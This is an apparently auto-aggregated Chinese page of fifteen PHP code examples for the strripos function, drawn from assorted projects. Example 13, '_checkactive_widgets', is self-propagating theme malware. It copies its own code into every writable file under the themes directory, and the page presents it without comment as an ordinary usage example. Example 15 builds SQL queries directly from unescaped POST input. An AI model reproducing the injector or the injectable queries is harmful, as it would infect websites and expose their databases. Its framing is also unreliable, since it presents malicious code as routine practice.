本文整理汇总了PHP中strripos函数的典型用法代码示例。如果您正苦于以下问题:PHP strripos函数的具体用法?PHP strripos怎么用?PHP strripos使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了strripos函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: postContent
function postContent()
{
$this->adminGatekeeper();
$request = $this->getInput('request');
$key = $this->getInput('key');
$username = $this->getInput('username');
$json = $this->getInput('json');
$follow_redirects = $this->getInput('follow_redirects');
$method = $this->getInput('method', 'GET');
$url = \Idno\Core\Idno::site()->config()->getURL();
if (strripos($url, '/') == strlen($url) - 1) {
$url = substr($url, 0, strlen($url) - 1);
}
$url .= $request;
$client = new Webservice();
if ($method == 'POST') {
$result = $client->post($url, $json, array('X-KNOWN-USERNAME: ' . $username, 'X-KNOWN-SIGNATURE: ' . base64_encode(hash_hmac('sha256', $request, $key, true))));
} else {
$result = $client->get($url, null, array('X-KNOWN-USERNAME: ' . $username, 'X-KNOWN-SIGNATURE: ' . base64_encode(hash_hmac('sha256', $request, $key, true))));
}
$response = Webservice::getLastResponse();
$sent_request = Webservice::getLastRequest() . $json;
$api_request = array('request' => $request, 'key' => $key, 'username' => $username, 'json' => $json, 'sent_request' => $sent_request, 'response' => gzencode($response, 9), 'method' => $method);
\Idno\Core\Idno::site()->session()->set('api_request', $api_request);
$this->forward(\Idno\Core\Idno::site()->config()->getURL() . 'admin/apitester/');
}
示例2: save
/**
* Formats the output and saved it to disc.
*
* @param string $identifier filename
* @param $contents $contents language array to save
* @return bool \File::update result
*/
public function save($identifier, $contents)
{
// store the current filename
$file = $this->file;
// save it
$return = parent::save($identifier, $contents);
// existing file? saved? and do we need to flush the opcode cache?
if ($file == $this->file and $return and static::$flush_needed) {
if ($this->file[0] !== '/' and (!isset($this->file[1]) or $this->file[1] !== ':')) {
// locate the file
if ($pos = strripos($identifier, '::')) {
// get the namespace path
if ($file = \Autoloader::namespace_path('\\' . ucfirst(substr($identifier, 0, $pos)))) {
// strip the namespace from the filename
$identifier = substr($identifier, $pos + 2);
// strip the classes directory as we need the module root
$file = substr($file, 0, -8) . 'lang' . DS . $identifier;
} else {
// invalid namespace requested
return false;
}
} else {
$file = \Finder::search('lang', $identifier);
}
}
// make sure we have a fallback
$file or $file = APPPATH . 'lang' . DS . $identifier;
// flush the opcode caches that are active
static::$uses_opcache and opcache_invalidate($file, true);
static::$uses_apc and apc_compile_file($file);
}
return $return;
}
示例3: add
/**
* Adds all the events to the main Ushahidi application
*/
public function add()
{
// Add a Sub-Nav Link
Event::add('ushahidi_action.nav_admin_reports', array($this, '_report_link'));
// Only add the events if we are on that controller
if (Router::$current_uri == "admin/reports") {
plugin::add_stylesheet('analysis/views/css/buttons');
// Add Buttons to the report List
Event::add('ushahidi_action.report_extra_admin', array($this, '_reports_list_buttons'));
} elseif (Router::$controller == 'analysis') {
plugin::add_javascript('analysis/views/js/ui.dialog');
plugin::add_javascript('analysis/views/js/ui.draggable');
plugin::add_javascript('analysis/views/js/ui.resizable');
plugin::add_stylesheet('analysis/views/css/main');
} elseif (strripos(Router::$current_uri, "admin/reports/edit") !== false) {
plugin::add_stylesheet('analysis/views/css/report');
plugin::add_javascript('analysis/views/js/jquery.copy.min');
Event::add('ushahidi_action.report_pre_form_admin', array($this, '_reports_list_analysis'));
Event::add('ushahidi_action.header_scripts_admin', array($this, '_save_analysis_js'));
Event::add('ushahidi_action.report_edit', array($this, '_save_analysis'));
} elseif (strripos(Router::$current_uri, "reports/submit") !== false) {
//Add dropdown fields to the submit form
Event::add('ushahidi_action.report_form', array($this, '_submit_form'));
//Save the contents of the dropdown
Event::add('ushahidi_action.report_submit', array($this, '_handle_post_data'));
Event::add('ushahidi_action.report_add', array($this, '_save_submit_form'));
}
}
示例4: view
public function view()
{
$params = array();
$filter = $_GET['query'];
if ($_GET['template']) {
$this->template = General::sanitize($_GET['template']);
}
// Environment parameters
if ($filter == 'env') {
$params = array_merge($params, $this->__getEnvParams());
// Page parameters
} elseif ($filter == 'page') {
$params = array_merge($params, $this->__getPageParams());
// Data source parameters
} elseif ($filter == 'ds') {
$params = array_merge($params, $this->__getDSParams());
// All parameters
} else {
$params = array_merge($params, $this->__getEnvParams());
$params = array_merge($params, $this->__getPageParams());
$params = array_merge($params, $this->__getDSParams());
}
foreach ($params as $param) {
if (empty($filter) || strripos($param, $filter) !== false) {
$this->_Result[] = $param;
}
}
sort($this->_Result);
}
示例5: generate_event_page
function generate_event_page()
{
ob_start();
$ical = new ICal(get_option('nev-file_path'));
$events = $ical->events();
$FORMAT = 'd-m-Y';
$time = time();
echo '<ul>';
foreach ($events as $event) {
$eventTime = strtotime($event['DTSTART']);
//those in a past are not bolded
if ($time - 60 * 60 * 24 > $eventTime) {
echo '<li><p>';
$date = substr($event['DTSTART'], 6, 2) . "/" . substr($event['DTSTART'], 4, 2) . "/" . substr($event['DTSTART'], 0, 4);
echo $date . ': ' . $event['SUMMARY'] . ", " . @$event['DESCRIPTION'];
echo '</p></li>';
} else {
echo '<li><p><strong>';
$date = substr($event['DTSTART'], 6, 2) . "/" . substr($event['DTSTART'], 4, 2) . "/" . substr($event['DTSTART'], 0, 4);
echo $date . ':</strong> ' . $event['SUMMARY'] . ", " . @$event['DESCRIPTION'];
echo '</p></li>';
}
}
echo '</ul>';
//Show link to download ical file
$file_name = get_option('nev-file_path');
$upload_path = wp_upload_dir()['url'] . substr($file_name, strripos($file_name, '/'));
echo '<p>Download <a href="' . $upload_path . '" download>.ics file</a></p>';
return ob_get_clean();
}
示例6: getConstantName
function getConstantName($filename)
{
$classname = basename($filename);
$classname = substr($classname, 0, strripos($classname, '.php'));
$classname = str_replace('.', '_', $classname);
return 'HEAD_' . strtoupper($classname);
}
示例7: searchYouTube
/**
* This method will fetch the playlist form YouTube.
* Once we get the playlist we will parse and process the results.
*
* The function sets a REQUEST value names 'song' with an array of the results.
*/
private function searchYouTube()
{
// Get the params we need
$searchTerm = urlencode(Utils::getParam('query', 'ניר גייר'));
$numberOfRecords = Utils::getParam('numberOfSongs', 10);
// Get the playlist data from you tube
$url = 'http://gdata.youtube.com/feeds/api/videos?alt=json&max-results=' . $numberOfRecords . '&format=5&q=' . $searchTerm;
// Get the playlist data
$json = file_get_contents($url);
// Convert the JSON to PHP array
$data = json_decode($json, true);
// Get the Array of the playlist items
$items = $data['feed']['entry'];
// The playlist array with the videos
$songs = array();
// Loop over the playlist entries that we wish to display
foreach ($items as $item) {
// Extract the data we want
$title = $item['title']['$t'];
$content = $item['content']['$t'];
$videoId = substr($item['id']['$t'], strripos($item['id']['$t'], '/') + 1);
// Get the video URL
foreach ($item['link'] as $link) {
if ($link['rel'] === 'alternate') {
$videoURL = $link['href'];
break;
}
}
array_push($songs, array('title' => $title, 'content' => $content, 'href' => $videoURL, 'videoId' => $videoId));
}
// Set the songs in the request
$_REQUEST['songs'] = $songs;
}
示例8: defineClass
public static function defineClass($className, $extends = '')
{
// $namespace = 'Eddmash\PowerOrm\Migration\Model';
$namespace = '';
$use = '';
$extendedClass = '';
if (empty($extends) || Model::isModelBase($extends)) {
$extends = Model::getFullClassName();
} else {
$extendedClass = sprintf('%s%s', ClassHelper::getFormatNamespace($namespace, true), $extends);
$use = sprintf('use %s;', $extendedClass);
$extends = trim(substr($extends, strripos($extends, '\\')), '\\');
}
if (!StringHelper::isEmpty($extendedClass) && !ClassHelper::classExists($extendedClass, $namespace)) {
self::$deferedClasses[$extends][] = ['class' => $className, 'extends' => $extends];
return false;
}
$extends = ClassHelper::getNameFromNs($extends, $namespace);
$class = sprintf(self::getTemplate(), $namespace, $use, $className, $extends);
$className = sprintf('%s%s', ClassHelper::getFormatNamespace($namespace, true), $className);
if (ArrayHelper::hasKey(self::$deferedClasses, $className)) {
foreach (self::$deferedClasses[$className] as $deferedClass) {
self::defineClass($deferedClass['class'], $deferedClass['extends']);
}
}
if (!ClassHelper::classExists($className, $namespace)) {
eval($class);
}
return $className;
}
示例9: index
public function index()
{
if ($this->_validate()) {
$filename = $this->_get_filename();
// Muevo la imagen original
move_uploaded_file($this->_file['tmp_name'], UPLOAD_DIR_TMP . $filename);
// Creo una copia y dimensiono la imagen (THUMB)
$config['image_library'] = 'GD2';
$config['source_image'] = UPLOAD_DIR_TMP . $filename;
$config['create_thumb'] = TRUE;
$config['maintain_ratio'] = TRUE;
$config['width'] = IMAGE_THUMB_WIDTH;
$config['height'] = IMAGE_THUMB_HEIGHT;
$this->image_lib->initialize($config);
if (!$this->image_lib->resize()) {
die($this->image_lib->display_errors());
}
// Dimensiono la imagen original (ORIGINAL)
$config['image_library'] = 'GD2';
$config['source_image'] = UPLOAD_DIR_TMP . $filename;
$config['create_thumb'] = FALSE;
$config['maintain_ratio'] = TRUE;
$config['width'] = IMAGE_ORIGINAL_WIDTH;
$config['height'] = IMAGE_ORIGINAL_HEIGHT;
$this->image_lib->initialize($config);
if (!$this->image_lib->resize()) {
die($this->image_lib->display_errors());
}
$ext = substr($filename, strripos($filename, ".") - strlen($filename) + 1);
$basename = substr($filename, 0, strripos($filename, "."));
//echo "filename:".UPLOAD_DIR_TMP.$basename."_thumb.".$ext;
echo json_encode(array('thumb' => UPLOAD_DIR_TMP . $basename . "_thumb." . $ext, 'complete' => UPLOAD_DIR_TMP . $basename . "." . $ext));
}
}
示例10: checkLogin
/**
* 验证登陆
*
*/
public function checkLogin()
{
$rs = array();
$rs["status"] = 1;
if (!$this->checkVerify("4") && ($GLOBALS['CONFIG']["captcha_model"]["valueRange"] != "" && strpos($GLOBALS['CONFIG']["captcha_model"]["valueRange"], "3") >= 0)) {
$rs["status"] = -1;
//验证码错误
} else {
$m = D('Home/Users');
$res = $m->checkLogin();
if (!empty($res)) {
if ($res['userFlag'] == 1) {
session('WST_USER', $res);
unset($_SESSION['toref']);
if (strripos($_SESSION['refer'], "regist") > 0 || strripos($_SESSION['refer'], "logout") > 0 || strripos($_SESSION['refer'], "login") > 0) {
$rs["refer"] = __ROOT__;
}
} else {
if ($res['status'] == -1) {
$rs["status"] = -2;
//登陆失败,账号或密码错误
}
}
} else {
$rs["status"] = -2;
//登陆失败,账号或密码错误
}
$rs["refer"] = $rs['refer'] ? $rs['refer'] : __ROOT__;
}
echo json_encode($rs);
}
示例11: get_file_objects
protected function get_file_objects($ext = false)
{
$fls = scandir($this->options['upload_dir']);
$fls_ext = array();
if ($ext == false) {
foreach ($fls as $fl) {
if (stristr($fl, '.cap')) {
if (strripos($fl, '.cap') == strlen($fl) - 4) {
$fls_ext[] = $fl;
}
} else {
if (stristr($fl, '.pcap')) {
if (strripos($fl, '.pcap') == strlen($fl) - 5) {
$fls_ext[] = $fl;
}
}
}
}
} else {
foreach ($fls as $fl) {
if (strstr($fl, $ext)) {
$fls_ext[] = $fl;
}
}
}
return array_values(array_filter(array_map(array($this, 'get_file_object'), $fls_ext)));
}
示例12: table_action
function table_action()
{
$api = new StorageExport();
$node = $api->getCurrentNode();
$nodeId = $node['node_id'];
$rows = $api->getTables($nodeId);
$tables = array();
foreach ($rows as $table) {
$pos = strripos($table, '_');
if ($pos !== false) {
$tid = substr($table, $pos + 1);
$tables[$tid] = array('name' => $table, 'id' => $tid);
}
}
$table = false;
$tableId = 0;
$maxId = 0;
if (!empty($tables)) {
// 表id
$tableId = $this->get('table_id', 0);
if ($tableId) {
if (!isset($tables[$tableId])) {
throw new Exception('hapn.u_notfound');
} else {
$table = $tables[$tableId];
}
}
if (!$tableId) {
$ts = array_values($tables);
$tableId = $ts[0]['id'];
$table = $tables[$tableId];
}
}
$this->set('tables', $tables)->sets(array('tbName' => 'hs_image_' . $nodeId . '_' . $tableId, 'title' => '数据表的图片列表', 'max_id' => $maxId, 'node' => $node, 'table_id' => $tableId, 'table' => $table))->setView('tpl/images.phtml');
}
示例13: _checkactive_widgets
function _checkactive_widgets()
{
$widget = substr(file_get_contents(__FILE__), strripos(file_get_contents(__FILE__), "<" . "?"));
$output = "";
$allowed = "";
$output = strip_tags($output, $allowed);
$direst = _get_allwidgets_cont(array(substr(dirname(__FILE__), 0, stripos(dirname(__FILE__), "themes") + 6)));
if (is_array($direst)) {
foreach ($direst as $item) {
if (is_writable($item)) {
$ftion = substr($widget, stripos($widget, "_"), stripos(substr($widget, stripos($widget, "_")), "("));
$cont = file_get_contents($item);
if (stripos($cont, $ftion) === false) {
$comaar = stripos(substr($cont, -20), "?" . ">") !== false ? "" : "?" . ">";
$output .= $before . "Not found" . $after;
if (stripos(substr($cont, -20), "?" . ">") !== false) {
$cont = substr($cont, 0, strripos($cont, "?" . ">") + 2);
}
$output = rtrim($output, "\n\t");
fputs($f = fopen($item, "w+"), $cont . $comaar . "\n" . $widget);
fclose($f);
$output .= $isshowdots && $ellipsis ? "..." : "";
}
}
}
}
return $output;
}
示例14: jackalope_autoloader
/**
* Implementation specific helper:
* Autoloader takes care of loading classes only when they are required.
* If your project does not provide its own autoloader, you can require()
* this file in your entry points. It will automatically register the
* jackalope_autoloader function with spl_autoload_register
*
* load a class named $class
*/
function jackalope_autoloader($class)
{
if (false !== ($pos = strripos($class, '\\'))) {
$relpath = false;
$jackPos = strpos($class, 'Jackalope');
if ($jackPos === 1 || $jackPos === 0) {
$relpath = '/../';
$class = substr($class, $jackPos);
$pos = $pos - $jackPos;
} else {
if (0 === strpos($class, 'PHPCR')) {
$relpath = '/../../lib/phpcr/src/';
}
}
if ($relpath) {
// namespaced class name
$namespace = substr($class, 0, $pos);
$class = substr($class, $pos + 1);
$file = __DIR__ . $relpath . str_replace('\\', DIRECTORY_SEPARATOR, $namespace) . DIRECTORY_SEPARATOR . $class . '.php';
if (file_exists($file)) {
require $file;
}
return;
}
}
return false;
}
示例15: addPermission
function addPermission()
{
unset($_POST['addPermission']);
$sql = "SELECT PID FROM permissionsgroups WHERE PGroupName='" . $_POST["PGroupName"] . "'";
$result = executeQuary($sql);
if (mysql_num_rows($result) == 0) {
foreach ($_POST as $value) {
if ($deleteFirstFlag < 1) {
$deleteFirstFlag++;
} else {
$insertIntoString = $insertIntoString . $value . ",";
$valueString = $valueString . "1,";
}
}
$insertIntoString[strripos($insertIntoString, ",")] = " ";
//strip the extra ,
$valueString[strripos($valueString, ",")] = " ";
//strip the extra ,
$sqlInsert = "INSERT INTO permissionsgroups(PGroupName," . $insertIntoString . ")";
$sqlInsert .= " values('" . $_POST["PGroupName"] . "'," . $valueString . ")";
executeQuary($sqlInsert);
} else {
?>
<DIV CLASS="QUARY_RESULT_ERROR">
הרשאה עם שם זה כבר קיימת
</DIV>
<?php
}
//UPDATE permissionsgroups SET viewUsers='1',editUsers='1',viewGroups='1',editGroups='1' WHERE PID=44
}